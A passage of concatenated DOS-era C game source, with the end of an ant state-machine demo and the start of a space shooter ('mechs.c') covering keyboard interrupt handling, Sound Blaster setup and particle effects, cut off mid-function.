ANT_SITTING // 10% of the time ant will sit
};
int terrain[NUM_ROWS][NUM_COLUMNS] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,
0,0,0,1,0,0,0,0,0,2,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,
0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1};
int ant_patterns[NUM_PATTERNS][PATTERN_LENGTH]=
{ 0,0,0,4,4,4,2,2,2,6,6,6,2,2,2,0,0,4,2,6,0,-1,0,0,0,
2,2,2,6,6,0,0,4,4,4,4,4,2,6,0,6,2,2,4,0,6,2,4,-1,0,
4,4,4,4,4,0,6,6,6,6,6,6,6,2,4,0,6,2,2,2,6,0,2,4,-1};
// F U N C T I O N S //////////////////////////////////////////////////////////
void Draw_Ants(void)
{
// this function draws all the ants
int index;
for (index=0; index<NUM_ANTS; index++)
Draw_Sprite_DB((sprite_ptr)&ants[index]);
} // end Draw_Ants
///////////////////////////////////////////////////////////////////////////////
void Erase_Ants(void)
{
// this function erases all the ants
int index;
// loop through and process all ants
for (index=0; index<NUM_ANTS; index++)
Erase_Sprite_DB((sprite_ptr)&ants[index]);
} // end Erase_Ants
///////////////////////////////////////////////////////////////////////////////
void Behind_Ants(void)
{
// this function scans behind all the ants
int index;
// loop through and process all ants
for (index=0; index<NUM_ANTS; index++)
Behind_Sprite_DB((sprite_ptr)&ants[index]);
} // end Behind_Ants
///////////////////////////////////////////////////////////////////////////////
void Init_Ants(void)
{
// this function initializes all the ants and places them in two
// columns on the screen and sets them all to march
int index;
// loop through and process all ants
// first the up ants
for (index=0; index<(NUM_ANTS/2); index++)
{
// set up fields in data structure
ant_data[index].dir = ANT_UP;
ant_data[index].state = ANT_MARCH;
ant_data[index].count_1 = 0;
ant_data[index].count_2 = 0;
ant_data[index].max_1 = 100 + rand()%100;
ant_data[index].max_2 = 0;
ant_data[index].index_1 = 0;
ant_data[index].index_2 = 0;
// set up fields in sprite structure
ants[index].curr_frame = ANT_UP;
ants[index].x = 165 + rand()%10;
ants[index].y = index*CELL_HEIGHT;
} // end for index
// now the down
for (index=(NUM_ANTS/2); index<NUM_ANTS; index++)
{
// set up fields in data structure
ant_data[index].dir = ANT_DOWN;
ant_data[index].state = ANT_MARCH;
ant_data[index].count_1 = 0;
ant_data[index].count_2 = 0;
ant_data[index].max_1 = 100 + rand()%100;
ant_data[index].max_2 = 0;
ant_data[index].index_1 = 0;
ant_data[index].index_2 = 0;
// set up fields in sprite structure
ants[index].curr_frame = ANT_DOWN;
ants[index].x = 180 + rand()%10;
ants[index].y = (index-(NUM_ANTS/2))*CELL_HEIGHT;
} // end for index
} // end Init_Ants
/////////////////////////////////////////////////////////////////////////////
void Draw_Rocks(void)
{
// based on terrain array place a rock on screen wherever there is a "1"
int x,y;
// loop through draw and draw rocks
for (y=0; y<NUM_ROWS; y++)
{
for (x=0; x<NUM_COLUMNS; x++)
{
// is there a rock here
if (terrain[y][x]==1)
{
// postion rock sprite
rock.x = x*CELL_WIDTH;
rock.y = y*CELL_HEIGHT;
Draw_Sprite_DB((sprite_ptr)&rock);
} // end if
} // end for x
} // end for y
} // end Draw_Rocks
// M A I N ////////////////////////////////////////////////////////////////////
void main(void)
{
// this is the main function
int done=0, // exit flag for whole system
index, // loop index
change_state, // used to flag when a ant should change state
new_dir, // local AI variable
cell_x,cell_y; // used to compute what cell ant is in for rock collision
// SECTION 1 /////////////////////////////////////////////////////////////////
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// clear the double buffer
Fill_Double_Buffer(0);
// load in the background image into the double buffer
PCX_Init((pcx_picture_ptr)&background_pcx);
PCX_Load("antbak.pcx", (pcx_picture_ptr)&background_pcx,1);
// copy the background into the double buffer
_fmemcpy((char far *)double_buffer,
(char far *)(background_pcx.buffer),
SCREEN_WIDTH*SCREEN_HEIGHT);
PCX_Delete((pcx_picture_ptr)&background_pcx);
Blit_String_DB(2,2,10,"Press any key to exit.",1);
// SECTION 2 /////////////////////////////////////////////////////////////////
// load in imagery for the ants
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("antimg.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize player and extract bitmaps
sprite_width = 20;
sprite_height = 20;
// create all the ants...we have a long way to create the Genesis bomb.
// but I'm on the job!
for (index=0; index<NUM_ANTS; index++)
{
// initialize the ant sprite
Sprite_Init((sprite_ptr)&ants[index],0,0,0,0,0,0);
// load the bitmaps
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&ants[index],0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&ants[index],1,1,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&ants[index],2,2,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&ants[index],3,3,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&ants[index],4,4,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&ants[index],5,5,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&ants[index],6,6,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&ants[index],7,7,0);
// initialize the ant vars
ants[index].curr_frame = 0;
ants[index].state = 1;
} // end for index
// load up the rock
Sprite_Init((sprite_ptr)&rock,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&rock,0,0,1);
rock.curr_frame = 0;
rock.state = 1; // alive or dead, it's not doing much!
// SECTION 3 /////////////////////////////////////////////////////////////////
// draw all the rocks
Draw_Rocks();
// initialize the ants
Init_Ants();
// scan background once before loop
Behind_Ants();
// SECTION 4 /////////////////////////////////////////////////////////////////
// main event loop
while(!kbhit())
{
// erase all objects
Erase_Ants();
// SECTION 5 /////////////////////////////////////////////////////////////////
// BEGIN AI LOGIC //
// at this point we want to move all the ants, change stats, etc.
for (index=0; index<NUM_ANTS; index++)
{
// reset state change flag
change_state = 0;
// what state is ant in ?
switch(ant_data[index].state)
{
case ANT_MARCH:
{
// test if it's time to change state
if (++ant_data[index].count_1 == ant_data[index].max_1)
change_state = 1;
} break;
case ANT_RANDOM:
{
// select a new direction for ant
ant_data[index].dir = 2*(rand()%4);
ant_data[index].state = ANT_MARCH;
ant_data[index].count_1 = 0;
ant_data[index].max_1 = 50 + rand()%50;
// set up fields in sprite structure
ants[index].curr_frame = ant_data[index].dir;
} break;
case ANT_PATTERN:
{
// test if it's time to use next pattern element
if (++ant_data[index].count_1 == ant_data[index].max_1)
{
// reset counter
ant_data[index].count_1 = 0;
// move to next element of pattern
ant_data[index].index_2++;
new_dir =
ant_patterns[ant_data[index].index_1][ant_data[index].index_2];
if (new_dir!=-1)
{
// change direction of ant
ant_data[index].dir = ants[index].curr_frame = new_dir;
} // end if not done with pattern
else
{
change_state = 1;
} // end else pattern is dead
} // end if time to change pattern element
} break;
case ANT_SITTING:
{
// test if it's time to change state
if (++ant_data[index].count_1 == ant_data[index].max_1)
change_state = 1;
} break;
default:break;
} // end switch
// SECTION 6 /////////////////////////////////////////////////////////////////
// check if there has been a state change
if (change_state)
{
// use personality table to select a new state
ant_data[index].state = ant_personality[rand()%10];
// based on new state set up ant appropriately(if needed)
switch(ant_data[index].state)
{
case ANT_MARCH:
{
// select up or down
ant_data[index].dir = 2*(rand()%2);
ant_data[index].state = ANT_MARCH;
ant_data[index].count_1 = 0;
ant_data[index].max_1 = 100 + rand()%75;
// set up current frame
ants[index].curr_frame = ant_data[index].dir;
} break;
case ANT_PATTERN:
{
// select the pattern and set a pointer to first element
ant_data[index].index_1 = rand()%NUM_PATTERNS;
ant_data[index].index_2 = 0;
// this time, these two variables will be used to count
// how long to play each pattern instruction
ant_data[index].count_1 = 0;
ant_data[index].max_1 = 2 + rand()%3;
// based on the first pattern element set initial direction
ant_data[index].dir =
ant_patterns[ant_data[index].index_1][0];
ants[index].curr_frame = ant_data[index].dir;
} break;
case ANT_RANDOM:
{
ant_data[index].state = ANT_RANDOM;
// do nothing, the logic will take care of it above
} // break;
case ANT_SITTING:
{
ant_data[index].state = ANT_SITTING;
ant_data[index].count_1 = 0;
ant_data[index].max_1 = 10 + rand()%10;
} // break;
} // end switch state;
} // end if we need to move to another state
// SECTION 7 /////////////////////////////////////////////////////////////////
// check if ant has bumped into a rock, if so set state to
// random
// obtain cell location of ant using center of ant as reference
cell_x = (ants[index].x+10)/CELL_WIDTH;
cell_y = (ants[index].y+10)/CELL_HEIGHT;
// test if there is a rock there
if (terrain[cell_y][cell_x]==1)
{
// set state of ant to random
ant_data[index].dir = 2*(rand()%4);
ant_data[index].state = ANT_MARCH;
ant_data[index].count_1 = 0;
ant_data[index].max_1 = 50 + rand()%50;
ants[index].curr_frame = ant_data[index].dir;
change_state = 0;
} // end if ant hit a rock
// SECTION 8 /////////////////////////////////////////////////////////////////
// now matter what state ant is in we should move it in the direction
// it is pointing, unless it is sitting
// don't move ant if it is sitting
if (ant_data[index].state!=ANT_SITTING)
{
// based on direction move the ant
switch(ant_data[index].dir)
{
case ANT_RIGHT:
{
ants[index].x+=4;
} break;
case ANT_LEFT:
{
ants[index].x-=4;
} break;
case ANT_UP:
{
ants[index].y-=4;
} break;
case ANT_DOWN:
{
ants[index].y+=4;
} break;
default:break;
} // end switch direction
// SECTION 9 /////////////////////////////////////////////////////////////////
// change animation frame using a toggle
if ((ants[index].curr_frame % 2)==0)
ants[index].curr_frame++;
else
ants[index].curr_frame--;
// boundary detection
if (ants[index].x > 300)
ants[index].x = 0;
else
if (ants[index].x < 0)
ants[index].x = 300;
if (ants[index].y > 180)
ants[index].y = 0;
else
if (ants[index].y < 0)
ants[index].y = 180;
} // end if ant wasn't sitting
} // end for index
// END AI LOGIC //
// SECTION 10 ///////////////////////////////////////////////////////////////
// scan background under objects
Behind_Ants();
// draw all the imagery
Draw_Ants();
// copy the double buffer to the screen
Show_Double_Buffer(double_buffer);
// wait a sec
Delay(1);
} // end while
// SECTION 11 ///////////////////////////////////////////////////////////////
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// free the double buffer
Delete_Double_Buffer();
} // end main
<file_sep>/day_02/mechs.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph6.h"
#include "graph9.h" // sound library
// P R O T O T Y P E S //////////////////////////////////////////////////////
void Start_PDeath(void);
void Erase_PDeath(void);
void Animate_PDeath(void);
void Behind_PDeath(void);
void Draw_PDeath(void);
void Draw_Sprite_DBM(sprite_ptr sprite);
unsigned char Get_Pixel_DB(int x,int y);
void Blit_Char_G(int xc,int yc,char c,int color,int trans_flag);
void Blit_String_G(int x,int y,int color, char *string,int trans_flag);
void Blink_Lights(void);
void Energize(void);
void Start_Wave(void);
void Init_Mechs(void);
void Delete_Mechs(void);
void Move_Mechs(void);
void Erase_Mechs(void);
void Draw_Mechs(void);
void Behind_Mechs(void);
void Control_Mother(void);
void Move_Mother(void);
void Erase_Mother(void);
void Behind_Mother(void);
void Draw_Mother(void);
void Init_Stars(void);
void Move_Stars(void);
void Behind_Stars(void);
void Draw_Stars(void);
void Erase_Stars(void);
void Start_Missile(sprite_ptr who,
int x,
int y,
int xv,
int yv,
int color,
int tag);
void Erase_Missiles(void);
void Behind_Missiles(void);
void Draw_Missiles(void);
void Move_Missiles(void);
void Init_Missiles(void);
void Start_Explosion(int x,int y,int speed);
void Behind_Explosions(void);
void Erase_Explosions(void);
void Draw_Explosions(void);
void Animate_Explosions(void);
void Display_Instruments(void);
void Erase_Instruments(void);
void Play_Sound(int sound);
void _interrupt _far New_Key_Int(void);
// D E F I N E S /////////////////////////////////////////////////////////////
// begin keyboard stuff
#define KEYBOARD_INT 0x09 // the keyboard interrupt number
#define KEY_BUFFER 0x60 // the buffer port
#define KEY_CONTROL 0x61 // the controller port
#define INT_CONTROL 0x20 // the interrupt controller
// make and break codes for the arrow keys, space and Q
#define MAKE_RIGHT 77
#define MAKE_LEFT 75
#define MAKE_Q 16
#define MAKE_SPACE 57
#define BREAK_RIGHT 205
#define BREAK_LEFT 203
#define BREAK_Q 144
#define BREAK_SPACE 185
// indices into arrow key state table
#define INDEX_SPACE 0
#define INDEX_Q 1
#define INDEX_RIGHT 2
#define INDEX_LEFT 3
// end keyboard
#define PLAYER_DEATH_TIME 120 // how long it takes player to die
#define NUM_DEATH_PARTICLES 30 // number of explosion particles in death
#define NUM_PATTERNS 4 // number of patterns mechs have
#define MAX_PATTERN_ELEMENTS 60 // number of elements in a pattern
#define NUM_DIRECTIONS 9 // number of directions a mech can go
#define RED_BASE 32 // start of the reds in default palette
#define BARRIER_START_COLOR 176 // the barrier color range
#define BARRIER_END_COLOR 176+16
// defines for starfield
#define NUM_STARS 50 // number of stars in the star field
#define PLANE_1 1
#define PLANE_2 2
#define PLANE_3 3
// constants for player and enemy
#define ENEMY_MISSILE 0
#define PLAYER_MISSILE 1
#define MISS_ALIVE 1
#define MISS_DEAD 0
#define NUM_MISSILES 30
// velocity of player
#define PLAYER_X_MOVE 6
#define PLAYER_Y_MOVE 0
// player states
#define PLAYER_NOT_FIRING 0
#define PLAYER_FIRING 1
#define PLAYER_DEAD 0
#define PLAYER_ALIVE 1
#define PLAYER_DYING 2
// general explosions
#define NUM_EXPLOSIONS 5 // numbre of explosions that can run at once
#define EXPLOSION_DEAD 0
#define EXPLOSION_ALIVE 1
// defines for mothership
#define MOTHER_DEAD 0
#define MOTHER_ALIVE 1
#define MOTHER_RIGHT 1
#define MOTHER_LEFT 0
// defines for initial attack pattern
#define PATTERN_X_SIZE 7 // dimensions of pattern matrix
#define PATTERN_Y_SIZE 5
#define PATTERN_XO 48 // origin of pattern formation
#define PATTERN_YO 16
#define NUM_ROBOT_FRAMES 10 // number of animation frames a mech has
// mech types
#define MECH_1 1
#define MECH_2 2
#define MECH_3 3
// states of mechs
#define MECH_DEAD 0 // dead
#define MECH_ALIVE 1 // alive
#define MECH_DYING 2 // dying
#define MECH_ATTACK 2 // action of attacking
#define MECH_PATTERN 3 // action of pattern
#define MECH_RETREAT 4 // looking for a place to stop
#define MECH_FLOCK 5 // moving with others
#define MECH_ROTATING 6 // mech is just spining
#define MECH_ENERGIZING 7 // mech is energizing
#define MECH_RIGHT 0 // mech moving to the right
#define MECH_LEFT 1 // mech moving to the left
#define MECH_UP 2 // mech moving up
#define MECH_DOWN 3 // mech moving down
#define MAX_NUMBER_MECHS 20 // maximum number of mechs in game
#define NUMBER_WAVES 15
// sound stuff
#define NUM_SOUNDS 8
#define SOUND_MISSILE 0
#define SOUND_EXPL1 1
#define SOUND_EXPL2 2
#define SOUND_EXPL3 3
#define SOUND_KILL 4
#define SOUND_ENERGY 5
#define SOUND_READY 6
#define SOUND_END 7
#define SOUND_DEFAULT_PORT 0x220 // default sound port for sound blaster
#define SOUND_DEFAULT_INT 5 // default interrupt
// S T R U C T U R E S ///////////////////////////////////////////////////////
// typedef for a explosion particle and for a missile
typedef struct particle_typ
{
int x; // x position
int y; // y position
int xv; // x velocity
int yv; // y velocity
unsigned char color; // the color of the particle
unsigned char back; // the color behind the particle
int state; // the state of the particle
int tag; // if the particle is a missile then who
// does it belong to?
int counter; // use for counting
int threshold; // the counters threshold
int counter_2;
int threshold_2;
} particle, *particle_ptr;
// data structure for a single star
typedef struct star_typ
{
int x,y; // position of star
int plane; // which plane is star in
unsigned char color; // color of star
unsigned char back; // under star
} star, *star_ptr;
// data structure for mech
typedef struct mech_typ
{
int type; // type of mech 1,2,3
int x; // position of mech
int y;
int xv; // velocity of mech
int yv;
int state_1; // state variables
int state_2;
int counter_1; // counters
int counter_2;
int threshold_1; // thresholds for counters
int threshold_2;
int aux_1; // aux variables
int aux_2;
int new_state; // the next state
int direction; // direction of motion when flocking
int curr_frame; // current animation frame
char far *background; // background pointer
} mech, *mech_ptr;
// G L O B A L S ////////////////////////////////////////////////////////////
// begin keyboard
void (_interrupt _far *Old_Isr)(); // holds old keyboard interrupt handler
int raw_key; // the global raw keyboard data
int key_table[4] = {0,0,0,0}; // the arrow key state table
// end keyboard
int cos_look[320]; // lookup table for cosines used for moving mother
long game_clock=0, // how many ticks has current wave been running for
attack_time=500; // threshold to start attack
star stars[NUM_STARS]; // the star field
particle pdeath[NUM_DEATH_PARTICLES]; // the particles used for player's death
// star field velocities
int velocity_1=2, // the speeds of each plane
velocity_2=4,
velocity_3=6;
// pcx imagery
pcx_picture intro_pcx, // the introduction and instructions
imagery_pcx, // the game imagery
background_pcx; // the backdrop
// the sprites used in the game
sprite player, // the player
fire, // and explosion
mother, // the mothership
robot_1, // each robot type
robot_2,
robot_3;
// variables pertaining to the player
long player_ships = 3, // number of ships the player has
player_energy = 100, // the initial energy of player's weapon
player_score = 0, // his score
player_gun_state = PLAYER_NOT_FIRING; // state of cannons
particle missiles[NUM_MISSILES]; // the array of missiles in the world
sprite explosions[NUM_EXPLOSIONS]; // the array of explosions
mech mech_array[MAX_NUMBER_MECHS]; // the mechs themselves
int energize_state = 0; // state of wave, are the mech's energizing
int num_mechs = 0; // number of mechs for the current wave
int wave_number = 0; // the wave number
int mechs_killed = 0; // mechs killed thus far in current wave
int *current_wave; // pointer to current wave data
// these are the wave tables, there are used to place the mechs
int wave_0[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {0,0,1,1,1,0,0,
0,0,2,2,2,0,0,
0,0,3,3,3,0,0,
0,0,0,0,0,0,0,
0,0,0,0,0,0,0};
int wave_1[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {0,1,0,0,0,1,0,
0,0,1,2,1,0,0,
0,3,3,3,3,3,0,
0,0,0,0,0,0,0,
0,0,0,0,0,0,0};
int wave_2[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {2,0,2,3,2,0,2,
0,2,0,3,0,2,0,
0,0,3,3,3,0,0,
0,0,0,3,0,0,0,
0,0,0,0,0,0,0};
int wave_3[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {1,1,0,1,0,1,1,
1,1,0,0,0,1,1,
0,0,2,2,2,0,0,
0,3,3,3,3,3,0,
0,0,0,0,0,0,0};
int wave_4[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {0,0,3,3,3,0,0,
1,0,1,0,1,0,1,
2,1,2,1,2,1,2,
0,0,3,3,3,0,0,
0,0,0,3,0,0,0};
int wave_5[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {0,1,0,1,0,1,0,
0,0,3,3,3,0,0,
0,3,3,1,3,3,0,
0,3,2,2,2,3,0,
0,0,0,0,0,0,0};
int wave_6[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {1,2,3,3,3,2,1,
0,1,2,3,2,1,0,
0,0,1,2,1,0,0,
0,0,0,1,0,0,0,
0,0,0,0,0,0,0};
int wave_7[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {1,2,1,0,1,2,1,
0,1,0,0,0,1,0,
0,0,0,2,0,0,0,
0,0,3,3,3,0,0,
0,0,0,3,0,0,0};
int wave_8[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {0,0,0,0,0,0,0,
2,2,2,2,2,2,2,
0,3,0,3,0,3,0,
0,0,0,0,0,0,0,
0,0,1,0,1,0,0};
int wave_9[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {1,3,1,3,1,3,1,
1,0,1,0,1,0,1,
1,0,1,0,1,0,1,
0,2,0,2,0,2,0,
0,0,0,0,0,0,0};
int wave_10[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {0,0,1,1,1,0,0,
0,0,2,2,2,0,0,
0,2,3,3,3,2,0,
2,3,0,0,0,3,2,
3,0,0,0,0,0,3};
int wave_11[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {0,0,0,1,0,0,0,
0,0,1,2,1,0,0,
0,1,2,3,2,1,0,
0,0,1,2,1,0,0,
0,0,0,1,0,0,0};
int wave_12[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {1,2,1,0,1,2,1,
0,0,2,0,2,0,0,
0,0,1,3,1,0,0,
0,0,0,3,0,0,0,
0,0,0,3,0,0,0};
int wave_13[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {1,0,0,3,0,0,1,
0,0,2,0,2,0,0,
0,3,0,0,0,3,0,
0,0,2,0,2,0,0,
1,0,0,3,0,0,1};
int wave_14[PATTERN_X_SIZE*PATTERN_Y_SIZE] = {1,1,1,0,3,0,0,
1,0,1,0,3,0,0,
1,1,1,2,3,0,0,
1,0,1,0,3,0,0,
1,0,1,0,3,3,3};
// this is an array that is used to point to all the wave tables
int *waves[NUMBER_WAVES];
// this is a data structure that holds the instructions for the patterns
// that the mechs take when in pattern mode
int patterns[NUM_PATTERNS][MAX_PATTERN_ELEMENTS]
= {1,1,1,1,1,1,1,1,1,2,2,2,2,3,3,3,3,3,3,3,4,4,4,4,5,5,5,5,6,6,7,7,7,7,8,8,8,8,7,7,7,7,7,7,6,6,7,5,4,4,3,3,2,2,1,1,0,0,0,-1,
1,1,1,1,1,1,1,1,1,1,2,2,3,3,4,4,5,5,5,5,5,5,5,5,5,5,7,7,7,7,7,7,7,7,8,8,8,8,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,-1,
1,1,8,8,7,7,8,8,7,7,7,7,7,7,7,7,6,6,5,5,4,4,3,3,3,3,3,3,3,3,4,4,4,4,5,5,6,6,7,7,7,7,7,7,7,7,6,6,5,5,4,4,3,3,2,2,1,1,0,-1,
1,1,2,2,3,3,3,3,3,3,3,3,4,4,5,5,5,5,5,5,6,6,7,7,7,7,7,7,7,7,7,8,8,1,1,1,1,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,1,1,0,0,0,0,-1};
// these are the velocity vectors used to move the mechs via a pattern instruction
int dirs_x[NUM_DIRECTIONS] = {0, 0, 4, 4, 4, 0,-4,-4,-4};
int dirs_y[NUM_DIRECTIONS] = {0,-4,-4, 0, 4, 4, 4, 0,-4};
// sound stuff
char far *sound_fx[NUM_SOUNDS];
unsigned char sound_lengths[NUM_SOUNDS];
int sound_available = 1;
int sound_port = SOUND_DEFAULT_PORT; // default sound port
int sound_int = SOUND_DEFAULT_INT; // default sound interrupt
// both read from mechs.cfg
// F U N C T I O N S //////////////////////////////////////////////////////////
void _interrupt _far New_Key_Int(void)
{
// I'm in the mood for some inline!
_asm
{
sti ; re-enable interrupts
in al, KEY_BUFFER ; get the key that was pressed
xor ah,ah ; zero out upper 8 bits of AX
mov raw_key, ax ; store the key in global
in al, KEY_CONTROL ; set the control register
or al, 82h ; set the proper bits to reset the FF
out KEY_CONTROL,al ; send the new data back to the control register
and al,7fh
out KEY_CONTROL,al ; complete the reset
mov al,20h
out INT_CONTROL,al ; re-enable interrupts
; when this baby hits 88 mph, your gonna see
; some serious @#@#$%
} // end inline assembly
// now for some C to update the arrow state table
// process the key and update the table
switch(raw_key)
{
case MAKE_RIGHT: // pressing right
{
key_table[INDEX_RIGHT] = 1;
} break;
case MAKE_LEFT: // pressing left
{
key_table[INDEX_LEFT] = 1;
} break;
case MAKE_SPACE: // pressing space
{
key_table[INDEX_SPACE] = 1;
} break;
case MAKE_Q: // pressing Q
{
key_table[INDEX_Q] = 1;
} break;
case BREAK_RIGHT: // releasing right
{
key_table[INDEX_RIGHT] = 0;
} break;
case BREAK_LEFT: // releasing left
{
key_table[INDEX_LEFT] = 0;
} break;
case BREAK_SPACE: // releasing space
{
key_table[INDEX_SPACE] = 0;
} break;
case BREAK_Q: // releasing Q
{
key_table[INDEX_Q] = 0;
} break;
default: break;
} // end switch
} // end New_Key_Int
///////////////////////////////////////////////////////////////////////////////
int Initialize_Sound_System(void)
{
FILE *fp;
// test if driver is on disk
if ( (fp=fopen("ct-voice.drv","rb") )==NULL)
{
return(0);
} // end if not file
fclose(fp);
// load up sound configuration file
if ( (fp=fopen("mechs.cfg","r"))==NULL )
{
printf("\nSound configuration file not found...");
printf("\nUsing default values of port 220h and interrupt 5.");
} // end if open sound configuration file
else
{
fscanf(fp,"%d %d",&sound_port, &sound_int);
printf("\nSetting sound system to port %d decimal with interrupt %d.",
sound_port, sound_int);
} // end else
// start up the whole sound system and load everything
Voc_Load_Driver();
Voc_Set_Port(sound_port);
Voc_Set_IRQ(sound_int);
Voc_Init_Driver();
Voc_Get_Version();
Voc_Set_Status_Addr((char __far *)&ct_voice_status);
// load in sounds
sound_fx[SOUND_MISSILE ] = Voc_Load_Sound("missile.voc", &sound_lengths[SOUND_MISSILE ]);
sound_fx[SOUND_EXPL1 ] = Voc_Load_Sound("expl1.voc", &sound_lengths[SOUND_EXPL1 ]);
sound_fx[SOUND_EXPL2 ] = Voc_Load_Sound("expl2.voc", &sound_lengths[SOUND_EXPL2 ]);
sound_fx[SOUND_EXPL3 ] = Voc_Load_Sound("expl3.voc", &sound_lengths[SOUND_EXPL3 ]);
sound_fx[SOUND_KILL ] = Voc_Load_Sound("kill.voc", &sound_lengths[SOUND_KILL ]);
sound_fx[SOUND_ENERGY ] = Voc_Load_Sound("energy.voc", &sound_lengths[SOUND_ENERGY ]);
sound_fx[SOUND_READY ] = Voc_Load_Sound("ready.voc", &sound_lengths[SOUND_READY ]);
sound_fx[SOUND_END ] = Voc_Load_Sound("end.voc", &sound_lengths[SOUND_END]);
Voc_Set_Speaker(1);
return(1);
} // end Initialize_Sound_System
/////////////////////////////////////////////////////////////////////////////
void Close_Sound_System(void)
{
// make sure there is sound
if (sound_available)
{
Voc_Set_Speaker(0);
// unload sounds
Voc_Unload_Sound(sound_fx[SOUND_MISSILE ]);
Voc_Unload_Sound(sound_fx[SOUND_EXPL1 ]);
Voc_Unload_Sound(sound_fx[SOUND_EXPL2 ]);
Voc_Unload_Sound(sound_fx[SOUND_EXPL3 ]);
Voc_Unload_Sound(sound_fx[SOUND_KILL ]);
Voc_Unload_Sound(sound_fx[SOUND_ENERGY ]);
Voc_Unload_Sound(sound_fx[SOUND_READY ]);
Voc_Unload_Sound(sound_fx[SOUND_END ]);
Voc_Terminate_Driver();
} // end if sound
} // end Close_Sound_System
/////////////////////////////////////////////////////////////////////////////
void Play_Sound(int sound)
{
if (sound_available)
{
Voc_Stop_Sound();
Voc_Play_Sound(sound_fx[sound] , sound_lengths[sound]);
} // end if sound available
} // end Play_Sound
///////////////////////////////////////////////////////////////////////////////
void Start_PDeath(void)
{
// this function begins the death of a player
int index;
// make sure the player is dying otherwise return
if (player.state!=PLAYER_DYING) return;
// loop thru all particles and initialize them to different upward velocities
for (index=0; index<NUM_DEATH_PARTICLES; index++)
{
pdeath[index].x = 9+player.x - 4 + rand()%9;
pdeath[index].y = 9+player.y - 4 + rand()%9;
pdeath[index].xv = -5 + rand()%11;
pdeath[index].yv = -5-(rand()%7);
pdeath[index].color = 137;
pdeath[index].back = 0;
pdeath[index].state = 0;
pdeath[index].tag = 0;
pdeath[index].counter = 0;
pdeath[index].threshold = 5;
pdeath[index].counter_2 = 0;
pdeath[index].threshold_2 = 5;
} // end for index
Play_Sound(SOUND_EXPL1);
} // end Start_PDeath
///////////////////////////////////////////////////////////////////////////////
void Erase_PDeath(void)
{
// this function is used to erase all the particles in the players death
int index;
// make sure the player is dying otherwise return
if (player.state!=PLAYER_DYING) return;
// loop thru all particles and erase them i.e. replace the background
for (index=0; index<NUM_DEATH_PARTICLES; index++)
{
Plot_Pixel_Fast_DB(pdeath[index].x,pdeath[index].y,pdeath[index].back);
} // end for index
} // end Erase_PDeath
///////////////////////////////////////////////////////////////////////////////
void Animate_PDeath(void)
{
// this is the workhorse of the death animation sequence, it moves the particles
// applies gravity to them and changes their colors, also it bounds them to the
// screen
int index;
// should we be doing this?
if (player.state!=PLAYER_DYING) return;
// process each particle
for (index=0; index<NUM_DEATH_PARTICLES; index++)
{
// translation
pdeath[index].x+=pdeath[index].xv;
pdeath[index].y+=pdeath[index].yv;
// boundary tests
// xtests
if (pdeath[index].x > 319)
{
pdeath[index].x = 319;
}
else
if (pdeath[index].x < 0)
{
pdeath[index].x = 0;
}
// ytests
if (pdeath[index].y > 199)
{
pdeath[index].y = 199;
pdeath[index].xv = 0;
pdeath[index].color = 0;
}
else
if (pdeath[index].y < 1)
{
pdeath[index].y = 1;
}
// gravity
if (++pdeath[index].counter == pdeath[index].threshold)
{
// apply gravity field
pdeath[index].yv++;
// reset counter
pdeath[index].counter = 0;
} // end if time to apply gravity
// color
if (pdeath[index].y<199)
if (++pdeath[index].counter_2 == pdeath[index].threshold_2)
{
// change color
pdeath[index].color++;
// reset counter
pdeath[index].counter_2 = 0;
} // end if time to change color
// end of sequence
} // end for
// update death time
if (++player.anim_clock == PLAYER_DEATH_TIME)
{
// reset players position
player.x = 160;
player.y = 168;
player.curr_frame = 0;
player.state = PLAYER_ALIVE;
// clear all the missiles
Init_Missiles();
// reset the wave
Start_Wave();
